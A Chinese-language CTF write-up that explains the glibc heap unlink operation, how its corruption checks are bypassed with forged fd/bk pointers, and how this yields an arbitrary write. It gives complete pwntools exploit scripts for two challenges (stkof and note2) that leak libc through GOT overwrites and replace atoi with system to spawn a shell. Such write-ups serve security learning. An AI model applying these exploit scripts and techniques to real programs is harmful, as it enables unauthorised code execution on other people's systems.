unlink
Time: 2020-03-08 Tags: binaryLink: unlink
unlink是个啥
unlink是ptmalloc2中的一个对堆的基本操作。
unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来。一下情景可能会用到:
- malloc从恰好大小合适的 large bin 中获取 chunk或者从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。
- free的前后合并
- malloc_consolidate前后合并
- realloc前向扩展
unlink由于使用较为频繁,已经被定义成了一个静态函数(libc2.31)。
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
这段源码看不懂不要紧,因为我也看不懂。挑点重点看。
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
这一段表示两个chunk的size和prev_size要对应。在伪造时可以故意为之。
0x0 0x0000000000000000 0x0000000000000031 <=chunk1
0x10 0x0000000000000000 0x0000000000000021 <=p
0x20 0x4141414141414141 0x4141414141414141
0x30 0x0000000000000020 0x0000000000000060 <=chunk2
0x40 0x0000000000000000 0x0000000000000000
当free(chunk2)时,chunk2的prev_size对应fake chunk的size,因此可以绕过第一步检测。
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
紧接着,ptmalloc2把fd和bk取了出来。
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
这一个的绕过可以通过构造p的fd和bk,使得fd+0x18处是p的地址,bk+0x10处是p的地址。
所以假设p的地址为ptr,那么构造fd为ptr-0x18,bk为ptr-0x10。那么fd的bk位置上是p的地址,bk的fd位置上是p的位置,即可绕过检测。
那么绕过检测之后ptmalloc2干了啥呢?
fd->bk = bk;
bk->fd = fd;
最后p的地址被换成了fd的地址,即把p分配到了存放p地址的低0x18的位置。因此可以通过修改p的信息来覆盖其他chunk的地址,从而实现任意地址写。比如把什么free_got改成system啥的。
例题
搞了两个CTFWiki上的题目。
2014 HITCON stkof
程序分析
$ file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
[*] '/home/abc/work/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启NX和canary,没开PIE。
这题基本没有什么输入和输出。就靠自己IDA。
malloc功能:
v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
::s[++dword_602100] = v2;
printf("%d\n", (unsigned int)dword_602100, size);
return 0LL;
.bss:0000000000602140 s dq ? ; DATA XREF: sub_400936+78↑w
s存在于bss段。size没有检测。
edit功能:
v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v2 = atol(&s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v2] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
n = atoll(&s);
ptr = ::s[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
其中第二个fgets处没有检测输入的size大小,可以造成堆溢出,用来修改物理相邻chunk的内容。
free功能:
v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v1] )
return 0xFFFFFFFFLL;
free(::s[v1]);
::s[v1] = 0LL;
return 0LL;
free后清零。
show没卵用:
v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v1] )
return 0xFFFFFFFFLL;
if ( strlen(::s[v1]) <= 3 )
puts("//TODO");
else
puts("...");
return 0LL;
整理思路
- 在malloc chunk之后,将指针存入bss段的一个数组之中。
- 输入时没有检测size,因此可以无限输入造成堆溢出。
- free后清零,不能用UAF。
所以思路很清楚,用unlink将一个chunk申请到s附近,覆盖其他chunk地址为已有可控函数地址,使用编辑功能更改地址内容拿shell。
EXP
#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',26926)
elf = ELF('./stkof')
libc = ELF('x64-libc-2.23.so')
context.log_level = 'debug'
ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
se = lambda x : io.send(x)
it = lambda : io.interactive()
def add(size):
sl('1')
sl(str(size))
ru('OK\n')
def free(index):
sl('3')
sl(str(index))
ru('OK\n')
def edit(index,content):
sl('2')
sl(str(index))
sl(str(len(content)))
sl(content)
ptr = 0x602150
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']
add(0x100)#1
add(0x30)#2
add(0x80)#3
add(0x30)#4
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10) + p64(0)*2 + p64(0x30) + p64(0x90)
edit(2,payload)
free(3)
payload = p64(0)*2 + p64(free_got) + p64(puts_got) + p64(0) + p64(atoi_got)
edit(2,payload)
edit(1,p64(puts_plt))
free(2)
ru('FAIL\n')
ru('FAIL\n')
leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] puts_got :' + hex(leak)
offset = leak - libc.sym['puts']
print '[*] offset :' + hex(offset)
system = offset + libc.sym['system']
edit(4,p64(system))
sl('/bin/sh\x00')
it()
exp解析
add(0x100)#1
add(0x30)#2
add(0x80)#3
add(0x30)#4
先开四个矿。准备unlink。
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10) + p64(0)*2 + p64(0x30) + p64(0x90)
edit(2,payload)
free(3)
构造成如下情况:
0x0 0x0000000000000000 0x0000000000000041
0x10 0x0000000000000000 0x0000000000000030
0x20 0x0000000000602138 0x0000000000602140
0x30 0x0000000000000000 0x0000000000000000
0x40 0x0000000000000030 0x0000000000000090
0x50 0x0000000000000000 0x0000000000000000
...
检测全部绕过。得到一个标号为2,地址在0x602138的chunk。
payload = p64(0)*2 + p64(free_got) + p64(puts_got) + p64(0) + p64(atoi_got)
edit(2,payload)
edit(1,p64(puts_plt))
free(2)
ru('FAIL\n')
ru('FAIL\n')
leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] puts_got :' + hex(leak)
offset = leak - libc.sym['puts']
print '[*] offset :' + hex(offset)
之后利用chunk2把chunk1改成free_got,chunk2改成puts_got,chunk4改成atoi_got。再把free改成puts,泄露puts_got地址。得出libc基址。
system = offset + libc.sym['system']
edit(4,p64(system))
sl('/bin/sh\x00')
it()
最后把atoi改成system,/bin/sh送进去,拿shell。
2016 ZCTF note2
这题就不具体分析了,跟上一个题差不多。就是这题edit函数里面size没有检测,当输入0时利用unsigned可以造成无限输入,而malloc只会分配size为0x20的chunk。造成堆溢出进行伪造。
io.recv()
io.sendline('1')
ru('address:')
sl('1')
payload = p64(0x0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10)
add(0x80,payload)
add(0,'a')
add(0x80,'a')
free(1)
payload = 'a'*0x10 + p64(0xa0) + p64(0x90)
add(0,payload)
free(2)
payload = 'a'*0x18 + p64(elf.got['atoi'])
edit(0,payload)
show(0)
ru('is ')
leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] atoi_add :' + hex(leak)
offset = leak - libc.sym['atoi']
print '[*] offset :' +hex(offset)
system= offset + libc.sym['system']
edit(0,p64(system))
ru('>>\n')
sl('/bin/sh\x00')
it()